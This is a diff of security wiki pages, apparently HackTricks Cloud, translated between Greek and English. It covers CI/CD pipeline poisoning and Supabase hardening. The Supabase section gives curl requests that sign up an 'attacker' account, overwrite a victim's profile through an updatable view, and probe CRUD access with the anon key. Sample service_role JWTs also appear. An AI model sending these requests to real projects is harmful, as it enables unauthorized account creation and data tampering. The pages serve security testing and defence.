- **3PE Command Injection**: Συνήθως, τα CI/CD pipelines θα **ορίζουν environment variables** με **πληροφορίες για το PR**. Αν αυτή η τιμή μπορεί να ελεγχθεί από έναν attacker (όπως ο τίτλος του PR) και **χρησιμοποιείται** σε ένα **επικίνδυνο σημείο** (όπως η εκτέλεση sh εντολών), ένας attacker μπορεί να **εγχχύσει εντολές εκεί**.
- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed.
- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config).
- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR.
- **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**.
### Exploitation Benefits
Γνωρίζοντας τις 3 flavours για το poison ενός pipeline, ας δούμε τι θα μπορούσε να αποκτήσει ένας attacker μετά από μια επιτυχή εκμετάλλευση:
Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation:
- **Secrets**: Όπως αναφέρθηκε προηγουμένως, τα pipelines απαιτούν **privileges** για τα jobs τους (retrieve the code, build it, deploy it...) και αυτά τα privileges συνήθως **παρέχονται ως secrets**. Αυτά τα secrets συνήθως είναι προσβάσιμα μέσω **env variables ή αρχείων μέσα στο σύστημα**. Επομένως ένας attacker θα προσπαθήσει πάντα να εξάγει όσο το δυνατόν περισσότερα secrets.
- Ανάλογα με την πλατφόρμα του pipeline ο attacker **μπορεί να χρειαστεί να καθορίσει τα secrets στο config**. Αυτό σημαίνει ότι αν ο attacker δεν μπορεί να τροποποιήσει το CI configuration pipeline (**I-PPE** για παράδειγμα), θα μπορούσε **μόνο να εξάγει τα secrets που έχει εκείνο το pipeline**.
- **Computation**: Ο κώδικας εκτελείται κάπου, ανάλογα με το πού εκτελείται ένας attacker μπορεί να μπορέσει να pivot-άρει περαιτέρω.
- **On-Premises**: Αν τα pipelines εκτελούνται on-premises, ένας attacker μπορεί να βρεθεί σε ένα **εσωτερικό δίκτυο με πρόσβαση σε περισσότερους πόρους**.
- **Cloud**: Ο attacker θα μπορούσε να αποκτήσει πρόσβαση **σε άλλες μηχανές στο cloud** αλλά και να **εξάγει** IAM roles/service accounts **tokens** από αυτό για να αποκτήσει **περαιτέρω πρόσβαση στο cloud**.
- **Platforms machine**: Κάποιες φορές τα jobs θα εκτελούνται μέσα στις **μηχανές της πλατφόρμας pipelines**, οι οποίες συνήθως βρίσκονται σε ένα cloud χωρίς περαιτέρω πρόσβαση.
- **Επιλογή εκτέλεσης:** Μερικές φορές η **πλατφόρμα pipelines θα έχει ρυθμίσει πολλές μηχανές** και αν μπορείτε να **τροποποιήσετε το CI configuration file** μπορείτε να **υποδείξετε που θέλετε να τρέξει ο κακόβουλος κώδικας**. Σε αυτή την περίπτωση, ένας attacker πιθανότατα θα τρέξει ένα reverse shell σε κάθε πιθανή μηχανή για να προσπαθήσει να την εκμεταλλευτεί περαιτέρω.
- **Compromise production**: Αν είστε μέσα στο pipeline και η τελική έκδοση χτίζεται και deploy-άρεται από αυτό, μπορείτε να **compromise-άρετε τον κώδικα που θα τρέχει τελικά σε production**.
- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible.
- Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**.
- **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further.
- **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**.
- **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**.
- **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**.
- **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further.
- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**.
## More relevant info
### Tools & CIS Benchmark
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) είναι ένα open-source εργαλείο για auditing του software supply chain stack σας για συμμόρφωση ασφαλείας βασισμένο σε ένα νέο [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Το auditing εστιάζει στην ολόκληρη διαδικασία SDLC, όπου μπορεί να αποκαλύψει κινδύνους από το code time μέχρι το deploy time.
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time.
### Top 10 CI/CD Security Risk
Δείτε αυτό το ενδιαφέρον άρθρο για τους top 10 CI/CD risks σύμφωνα με την Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
### Labs
- Σε κάθε πλατφόρμα που μπορείτε να τρέξετε τοπικά θα βρείτε οδηγίες για το πώς να την ξεκινήσετε τοπικά ώστε να τη διαμορφώσετε όπως θέλετε για να τη δοκιμάσετε
- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
### Automatic Tools
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** είναι ένα static code analysis εργαλείο για infrastructure-as-code.
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code.
## References

File diff suppressed because it is too large Load Diff

View File

@@ -1,26 +1,26 @@
# Supabase Ασφάλεια
# Supabase Security
{{#include ../banners/hacktricks-training.md}}
## Βασικές Πληροφορίες
## Basic Information
Σύμφωνα με την [**landing page**](https://supabase.com/): Το Supabase είναι μια open source εναλλακτική του Firebase. Ξεκινήστε το project σας με μια Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, και Vector embeddings.
As per their [**landing page**](https://supabase.com/): Supabase is an open source Firebase alternative. Start your project with a Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings.
### Υποτομέας
### Subdomain
Βασικά, όταν δημιουργείται ένα project, ο χρήστης θα λάβει ένα supabase.co subdomain όπως: **`jnanozjdybtpqgcwhdiz.supabase.co`**
Basically when a project is created, the user will receive a supabase.co subdomain like: **`jnanozjdybtpqgcwhdiz.supabase.co`**
## **Ρύθμιση βάσης δεδομένων**
## **Database configuration**
> [!TIP]
> **Αυτά τα δεδομένα είναι προσβάσιμα από έναν σύνδεσμο όπως `https://supabase.com/dashboard/project/<project-id>/settings/database`**
> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/database`**
Αυτή η **database** θα αναπτυχθεί σε κάποια AWS region, και για να συνδεθεί κάποιος σε αυτήν είναι δυνατό να γίνει σύνδεση στο: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (αυτό δημιουργήθηκε σε us-west-1).\
Το password είναι ένα **password που όρισε ο χρήστης** προηγουμένως.
This **database** will be deployed in some AWS region, and in order to connect to it it would be possible to do so connecting to: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\
The password is a **password the user put** previously.
Επομένως, δεδομένου ότι ο subdomain είναι γνωστός και χρησιμοποιείται ως username και οι AWS regions είναι περιορισμένοι, μπορεί να είναι δυνατό να προσπαθήσει κανείς να **brute force the password**.
Therefore, as the subdomain is a known one and it's used as username and the AWS regions are limited, it might be possible to try to **brute force the password**.
Αυτό το τμήμα περιέχει επίσης επιλογές για:
This section also contains options to:
- Reset the database password
- Configure connection pooling
@@ -28,22 +28,23 @@
- Configure Disk size
- Apply network restrictions and bans
## Διαμόρφωση API
## API Configuration
> [!TIP]
> **Αυτά τα δεδομένα είναι προσβάσιμα από έναν σύνδεσμο όπως `https://supabase.com/dashboard/project/<project-id>/settings/api`**
> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/api`**
Το URL για πρόσβαση στο supabase API του project σας θα είναι κάτι σαν: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
The URL to access the supabase API in your project is going to be like: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
### anon api keys
Θα δημιουργηθεί επίσης ένα **anon API key** (`role: "anon"`), όπως: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` που η εφαρμογή θα χρειαστεί για να επικοινωνήσει με το API που παρουσιάζεται στο παράδειγμα μας.
It'll also generate an **anon API key** (`role: "anon"`), like: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` that the application will need to use in order to contact the API key exposed in our example in
Είναι δυνατό να βρείτε το API REST για να επικοινωνήσετε με αυτό το API στα [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), αλλά τα πιο ενδιαφέροντα endpoints θα ήταν:
It's possible to find the API REST to contact this API in the [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), but the most interesting endpoints would be:
<details>
<summary>Signup (/auth/v1/signup)</summary>
```
POST /auth/v1/signup HTTP/2
Host: id.io.net
@@ -68,11 +69,13 @@ Priority: u=1, i
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
```
</details>
<details>
<summary>Σύνδεση (/auth/v1/token?grant_type=password)</summary>
<summary>Login (/auth/v1/token?grant_type=password)</summary>
```
POST /auth/v1/token?grant_type=password HTTP/2
Host: hypzbtgspjkludjcnjxl.supabase.co
@@ -97,165 +100,173 @@ Priority: u=1, i
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
```
</details>
Έτσι, κάθε φορά που εντοπίζετε έναν client που χρησιμοποιεί supabase με τον υποτομέα που του έχει παραχωρηθεί (είναι πιθανό ένας υποτομέας της εταιρείας να έχει CNAME πάνω από τον supabase υποτομέα τους), μπορείτε να δοκιμάσετε να **δημιουργήσετε νέο λογαριασμό στην πλατφόρμα χρησιμοποιώντας το supabase API**.
So, whenever you discover a client using supabase with the subdomain they were granted (it's possible that a subdomain of the company has a CNAME over their supabase subdomain), you might try to **create a new account in the platform using the supabase API**.
### μυστικό / service_role API κλειδιά
### secret / service_role api keys
Ένα μυστικό API key θα δημιουργηθεί επίσης με **`role: "service_role"`**. Αυτό το API key πρέπει να παραμείνει μυστικό γιατί θα μπορεί να παρακάμψει το **Row Level Security**.
A secret API key will also be generated with **`role: "service_role"`**. This API key should be secret because it will be able to bypass **Row Level Security**.
Το API key μοιάζει με το εξής: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
The API key looks like this: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
### JWT Secret
Ένα **JWT Secret** θα δημιουργηθεί επίσης ώστε η εφαρμογή να μπορεί να **δημιουργεί και να υπογράφει προσαρμοσμένα JWT tokens**.
A **JWT Secret** will also be generate so the application can **create and sign custom JWT tokens**.
## Authentication
### Signups
> [!TIP]
> Από προεπιλογή supabase θα επιτρέπει σε **νέους χρήστες να δημιουργούν λογαριασμούς** στο project σας χρησιμοποιώντας τα προαναφερθέντα API endpoints.
> By **default** supabase will allow **new users to create accounts** on your project by using the previously mentioned API endpoints.
Ωστόσο, αυτοί οι νέοι λογαριασμοί, από προεπιλογή, **θα χρειαστεί να επιβεβαιώσουν το email τους** για να μπορούν να κάνουν login στον λογαριασμό. Είναι δυνατή η ενεργοποίηση του **"Allow anonymous sign-ins"** για να επιτρέψετε σε χρήστες να συνδέονται χωρίς να επαληθεύουν το email τους. Αυτό μπορεί να δώσει πρόσβαση σε **μη αναμενόμενα δεδομένα** (λαμβάνουν τους ρόλους `public` και `authenticated`).\
Αυτό είναι πολύ κακή ιδέα γιατί η supabase χρεώνει ανά ενεργό χρήστη, οπότε άνθρωποι θα μπορούσαν να δημιουργούν χρήστες και να κάνουν login και η supabase θα χρεώσει για αυτούς:
However, these new accounts, by default, **will need to validate their email address** to be able to login into the account. It's possible to enable **"Allow anonymous sign-ins"** to allow people to login without verifying their email address. This could grant access to **unexpected data** (they get the roles `public` and `authenticated`).\
This is a very bad idea because supabase charges per active user so people could create users and login and supabase will charge for those:
<figure><img src="../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
#### Auth: Server-side signup enforcement
Το να κρύψετε το κουμπί signup στο frontend δεν είναι αρκετό. Αν ο **Auth server εξακολουθεί να επιτρέπει signups**, ένας attacker μπορεί να καλέσει απευθείας το API με το δημόσιο `anon` key και να δημιουργήσει αυθαίρετους χρήστες.
Hiding the signup button in the frontend is not enough. If the **Auth server still allows signups**, an attacker can call the API directly with the public `anon` key and create arbitrary users.
Quick test (from an unauthenticated client):
```bash
curl -X POST \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-d '{"email":"attacker@example.com","password":"Sup3rStr0ng!"}' \
https://<PROJECT_REF>.supabase.co/auth/v1/signup
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-d '{"email":"attacker@example.com","password":"Sup3rStr0ng!"}' \
https://<PROJECT_REF>.supabase.co/auth/v1/signup
```
Αναμενόμενη ενίσχυση:
- Απενεργοποιήστε τις εγγραφές email/password στο Dashboard: Authentication → Providers → Email → Disable sign ups (invite-only), ή ορίστε το αντίστοιχο GoTrue setting.
- Επιβεβαιώστε ότι το API τώρα επιστρέφει 4xx στην προηγούμενη κλήση και δεν δημιουργείται νέος χρήστης.
- Αν βασίζεστε σε invites ή SSO, βεβαιωθείτε ότι όλοι οι άλλοι providers είναι απενεργοποιημένοι εκτός αν χρειάζονται ρητά.
## RLS και Views: Παράκαμψη εγγραφής μέσω PostgREST
Expected hardening:
- Disable email/password signups in the Dashboard: Authentication → Providers → Email → Disable sign ups (invite-only), or set the equivalent GoTrue setting.
- Verify the API now returns 4xx to the previous call and no new user is created.
- If you rely on invites or SSO, ensure all other providers are disabled unless explicitly needed.
Η χρήση ενός Postgres VIEW για να «κρύψετε» ευαίσθητες στήλες και η έκθεσή του μέσω PostgREST μπορεί να αλλάξει τον τρόπο αξιολόγησης των προνομίων. Στο PostgreSQL:
- Ordinary views εκτελούνται με τα προνόμια του ιδιοκτήτη του view εξ ορισμού (definer semantics). Σε PG ≥15 μπορείτε να επιλέξετε `security_invoker`.
- Row Level Security (RLS) εφαρμόζεται στους βασικούς πίνακες. Οι ιδιοκτήτες των πινάκων παρακάμπτουν το RLS εκτός αν έχει τεθεί το `FORCE ROW LEVEL SECURITY` στον πίνακα.
- Τα updatable views μπορούν να δεχτούν INSERT/UPDATE/DELETE που στη συνέχεια εφαρμόζονται στον πίνακα βάσης. Χωρίς το `WITH CHECK OPTION`, οι εγγραφές που δεν ταιριάζουν με τη συνθήκη του view μπορεί να πετύχουν.
## RLS and Views: Write bypass via PostgREST
Πρότυπο κινδύνου που παρατηρήθηκε στην πράξη:
- Ένα view με μειωμένες στήλες εκτίθεται μέσω Supabase REST και παραχωρείται σε `anon`/`authenticated`.
- Το PostgREST επιτρέπει DML στο updatable view και η ενέργεια αξιολογείται με τα προνόμια του ιδιοκτήτη του view, παρακάμπτοντας ουσιαστικά τις προβλεπόμενες πολιτικές RLS στον πίνακα βάσης.
- Αποτέλεσμα: clients με χαμηλά προνόμια μπορούν να μαζικά επεξεργαστούν σειρές (π.χ. profile bios/avatars) που δεν θα έπρεπε να μπορούν να τροποποιήσουν.
Using a Postgres VIEW to “hide” sensitive columns and exposing it via PostgREST can change how privileges are evaluated. In PostgreSQL:
- Ordinary views execute with the privileges of the view owner by default (definer semantics). In PG ≥15 you can opt into `security_invoker`.
- Row Level Security (RLS) applies on base tables. Table owners bypass RLS unless `FORCE ROW LEVEL SECURITY` is set on the table.
- Updatable views can accept INSERT/UPDATE/DELETE that are then applied to the base table. Without `WITH CHECK OPTION`, writes that dont match the view predicate may still succeed.
Risk pattern observed in the wild:
- A reduced-column view is exposed through Supabase REST and granted to `anon`/`authenticated`.
- PostgREST allows DML on the updatable view and the operation is evaluated with the view owners privileges, effectively bypassing the intended RLS policies on the base table.
- Result: low-privileged clients can mass-edit rows (e.g., profile bios/avatars) they should not be able to modify.
Illustrative write via view (attempted from a public client):
Ενδεικτική εγγραφή μέσω view (προσπάθεια από public client):
```bash
curl -X PATCH \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=representation" \
-d '{"bio":"pwned","avatar_url":"https://i.example/pwn.png"}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/users_view?id=eq.<victim_user_id>"
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=representation" \
-d '{"bio":"pwned","avatar_url":"https://i.example/pwn.png"}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/users_view?id=eq.<victim_user_id>"
```
Λίστα ελέγχου ενίσχυσης για views και RLS:
- Προτιμήστε να εκθέτετε base tables με ρητά, least-privilege grants και ακριβείς πολιτικές RLS.
- Αν πρέπει να εκθέσετε ένα view:
- Κάντε το μη-ενημερώσιμο (π.χ., include expressions/joins) ή απαγορεύστε `INSERT/UPDATE/DELETE` στο view για όλους τους μη-έμπιστους ρόλους.
- Εφαρμόστε `ALTER VIEW <v> SET (security_invoker = on)` ώστε να χρησιμοποιούνται τα προνόμια του invoker αντί του owner.
- Στα base tables, χρησιμοποιήστε `ALTER TABLE <t> FORCE ROW LEVEL SECURITY;` ώστε ακόμη και οι owners να υπόκεινται σε RLS.
- Εάν επιτρέπετε εγγραφές μέσω updatable view, προσθέστε `WITH [LOCAL|CASCADED] CHECK OPTION` και συμπληρωματικό RLS στα base tables για να εξασφαλίσετε ότι μόνο οι επιτρεπόμενες γραμμές μπορούν να γραφτούν/τροποποιηθούν.
- Στο Supabase, αποφύγετε να δίνετε σε `anon`/`authenticated` δικαιώματα εγγραφής σε views εκτός αν έχετε επαληθεύσει το end-to-end behavior με tests.
Hardening checklist for views and RLS:
- Prefer exposing base tables with explicit, least-privilege grants and precise RLS policies.
- If you must expose a view:
- Make it non-updatable (e.g., include expressions/joins) or deny `INSERT/UPDATE/DELETE` on the view to all untrusted roles.
- Enforce `ALTER VIEW <v> SET (security_invoker = on)` so the invokers privileges are used instead of the owners.
- On base tables, use `ALTER TABLE <t> FORCE ROW LEVEL SECURITY;` so even owners are subject to RLS.
- If allowing writes via an updatable view, add `WITH [LOCAL|CASCADED] CHECK OPTION` and complementary RLS on base tables to ensure only allowed rows can be written/changed.
- In Supabase, avoid granting `anon`/`authenticated` any write privileges on views unless you have verified end-to-end behavior with tests.
Detection tip:
- Από έναν test user `anon` και έναν `authenticated`, επιχειρήστε όλες τις CRUD ενέργειες εναντίον κάθε εκτεθειμένου table/view. Οποιαδήποτε επιτυχής εγγραφή όπου περιμένατε άρνηση υποδεικνύει κακή διαμόρφωση.
- From `anon` and an `authenticated` test user, attempt all CRUD operations against every exposed table/view. Any successful write where you expected denial indicates a misconfiguration.
### OpenAPI-driven CRUD probing από ρόλους anon/auth
### OpenAPI-driven CRUD probing from anon/auth roles
Το PostgREST εκθέτει ένα OpenAPI έγγραφο που μπορείτε να χρησιμοποιήσετε για να απαριθμήσετε όλους τους REST πόρους και μετά να δοκιμάσετε αυτόματα τις επιτρεπόμενες ενέργειες από ρόλους με χαμηλά προνόμια.
PostgREST exposes an OpenAPI document that you can use to enumerate all REST resources, then automatically probe allowed operations from low-privileged roles.
Fetch the OpenAPI (works with the public anon key):
Αποκτήστε το OpenAPI (λειτουργεί με το public anon key):
```bash
curl -s https://<PROJECT_REF>.supabase.co/rest/v1/ \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Accept: application/openapi+json" | jq '.paths | keys[]'
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Accept: application/openapi+json" | jq '.paths | keys[]'
```
Πρότυπο Probe (παραδείγματα):
- Διάβασε μία γραμμή (αναμένουμε 401/403/200 ανάλογα με RLS):
Probe pattern (examples):
- Read a single row (expect 401/403/200 depending on RLS):
```bash
curl -s "https://<PROJECT_REF>.supabase.co/rest/v1/<table>?select=*&limit=1" \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>"
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>"
```
- Ελέγξτε ότι το UPDATE είναι αποκλεισμένο (χρησιμοποιήστε ένα ανύπαρκτο φίλτρο για να αποφύγετε την αλλοίωση των δεδομένων κατά τη δοκιμή):
- Test UPDATE is blocked (use a non-existing filter to avoid altering data during testing):
```bash
curl -i -X PATCH \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=minimal" \
-d '{"__probe":true}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=minimal" \
-d '{"__probe":true}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
```
- Η δοκιμή INSERT είναι μπλοκαρισμένη:
- Test INSERT is blocked:
```bash
curl -i -X POST \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=minimal" \
-d '{"__probe":true}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>"
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=minimal" \
-d '{"__probe":true}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>"
```
- Δοκιμή DELETE είναι μπλοκαρισμένη:
- Test DELETE is blocked:
```bash
curl -i -X DELETE \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
```
Recommendations:
- Αυτοματοποιήστε τις προηγούμενες probes για τόσο `anon` όσο και για έναν ελάχιστα `authenticated` χρήστη και ενσωματώστε τις στο CI για να εντοπίζετε regressions.
- Θεωρείτε κάθε εκτεθειμένο table/view/function ως πρώτη-τάξης επιφάνεια. Μην υποθέτετε ότι μια view “κληρονομεί” την ίδια RLS στάση με τους βασικούς πίνακές της.
- Automate the previous probes for both `anon` and a minimally `authenticated` user and integrate them in CI to catch regressions.
- Treat every exposed table/view/function as a first-class surface. Dont assume a view “inherits” the same RLS posture as its base tables.
### Passwords & sessions
It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\
Συνιστάται να **βελτιώσετε τις απαιτήσεις καθώς οι προεπιλεγμένες είναι αδύναμες**.
It's recommended to **improve the requirements as the default ones are weak**.
- User Sessions: Είναι δυνατό να διαμορφώσετε πώς λειτουργούν οι συνεδρίες χρηστών (timeouts, 1 session per user...)
- Bot and Abuse Protection: Είναι δυνατό να ενεργοποιήσετε Captcha.
- User Sessions: It's possible to configure how user sessions work (timeouts, 1 session per user...)
- Bot and Abuse Protection: It's possible to enable Captcha.
### SMTP Settings
Είναι δυνατό να ορίσετε ένα SMTP για την αποστολή emails.
It's possible to set an SMTP to send emails.
### Advanced Settings
- Ορίστε χρόνο λήξης για access tokens (3600 από προεπιλογή)
- Ορίστε τον εντοπισμό και την ανάκληση πιθανώς compromised refresh tokens και timeout
- MFA: Υποδείξτε πόσοι παράγοντες MFA μπορούν να εγγραφούν ταυτόχρονα ανά χρήστη (10 από προεπιλογή)
- Max Direct Database Connections: Μέγιστος αριθμός συνδέσεων που χρησιμοποιούνται για auth (10 από προεπιλογή)
- Max Request Duration: Μέγιστος χρόνος που επιτρέπεται για ένα Auth request (10s από προεπιλογή)
- Set expire time to access tokens (3600 by default)
- Set to detect and revoke potentially compromised refresh tokens and timeout
- MFA: Indicate how many MFA factors can be enrolled at once per user (10 by default)
- Max Direct Database Connections: Max number of connections used to auth (10 by default)
- Max Request Duration: Maximum time allowed for an Auth request to last (10s by default)
## Storage
> [!TIP]
> Supabase allows **to store files** and make them accesible over a URL (it uses S3 buckets).
- Ορίστε το όριο μεγέθους αρχείου για upload (από προεπιλογή 50MB)
- Set the upload file size limit (default is 50MB)
- The S3 connection is given with a URL like: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
- Είναι δυνατό να **request S3 access key** που αποτελούνται από ένα `access key ID` (π.χ. `a37d96544d82ba90057e0e06131d0a7b`) και ένα `secret access key` (π.χ. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
- It's possible to **request S3 access key** that are formed by an `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) and a `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
## Edge Functions
Είναι δυνατό να **αποθηκεύσετε secrets** στο supabase τα οποία θα είναι **προσβάσιμα από edge functions** (μπορούν να δημιουργηθούν και να διαγραφούν από το web, αλλά δεν είναι δυνατό να προσπελάσετε την τιμή τους απευθείας).
It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly).
## References

View File

@@ -1,32 +1,32 @@
# Terraform Ασφάλεια
# Terraform Security
{{#include ../banners/hacktricks-training.md}}
## Βασικές Πληροφορίες
## Basic Information
[From the docs:](https://developer.hashicorp.com/terraform/intro)
HashiCorp Terraform είναι ένα εργαλείο υποδομής ως κώδικα που σας επιτρέπει να ορίζετε πόρους στο cloud και on-prem σε αρχεία διαμόρφωσης αναγνώσιμα από άνθρωπο τα οποία μπορείτε να ελέγχετε με έκδοση, να επαναχρησιμοποιείτε και να μοιράζεστε. Στη συνέχεια μπορείτε να χρησιμοποιήσετε μια συνεπή ροή εργασίας για να προμηθεύετε και να διαχειρίζεστε όλη την υποδομή σας καθ’ όλη τη διάρκεια ζωής της. Το Terraform μπορεί να διαχειριστεί χαμηλού επιπέδου στοιχεία όπως compute, storage και networking resources, καθώς και υψηλού επιπέδου στοιχεία όπως DNS entries και SaaS features.
HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features.
#### Πώς λειτουργεί το Terraform;
#### How does Terraform work?
